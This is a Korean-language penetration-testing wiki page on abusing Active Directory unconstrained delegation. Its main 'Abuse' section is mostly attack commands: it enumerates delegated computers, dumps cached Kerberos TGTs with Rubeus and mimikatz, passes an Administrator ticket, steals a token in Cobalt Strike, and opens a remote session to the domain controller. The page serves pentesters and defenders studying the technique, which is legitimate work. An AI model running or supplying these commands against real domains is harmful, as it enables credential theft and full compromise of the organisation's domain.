> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/data-theft/active-directory/unconstrained-delegation.md).

# Unconstrained Delegation

Unconstrained Delegation은 제약없는 위임으로 Windows 2000에 도입된 위임 구성입니다. 위임된 컴퓨터 계정은 자신에게 도메인 사용자가 접근 시, 해당 사용자의 TGT 사본을 캐시할 수 있고 이를 통해 서비스 티켓 발급을 대행할 수 있습니다.

결과적으로 위임 구성된 계정을 장악했을 때 TGT 사본을 토대로 다른 유저들의 권한을 사용할 수 있습니다.

{% hint style="info" %}
위임이 구성된 컴퓨터 계정에 캐시된 티켓을 덤프하기 위해선 System 권한이 필요합니다.
{% endhint %}

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="Cobalt Strike"><code class="lang-powershell"><strong># Unconstrained Delegation이 설정된 객체 열거
</strong>Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

<strong># TGT 캐시 목록 열거 및 덤프
</strong>.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x33465 /service:krbtgt /nowrap

<strong># 로그인 세션 생성
</strong>.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:AD01 /username:Administrator /password:FakePass /ticket:doI[...]A==

<strong># 세션 사용
</strong>steal_token 1540
</code></pre>

<pre class="language-powershell" data-title="PowerShell"><code class="lang-powershell"><strong># Unconstrained Delegation이 설정된 객체 열거
</strong>Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

<strong># TGT 캐시 목록 열거 및 덤프
</strong>mimikatz # sekurlsa::tickets
mimikatz # sekurlsa::tickets /export

<strong># Administrator 티켓 환경변수 등록
</strong>mimikatz # kerberos::ptt [0;3e7]-2-0-60a10000-Administrator@krbtgt-PENTEST.LOCAL.kirbi

<strong># 세션 사용
</strong>Enter-PSSession dc01
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># Delegation이 설정된 객체 열거
</strong>impacket-findDelegation contoso.com/user-A:'Password123!'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation>" %}
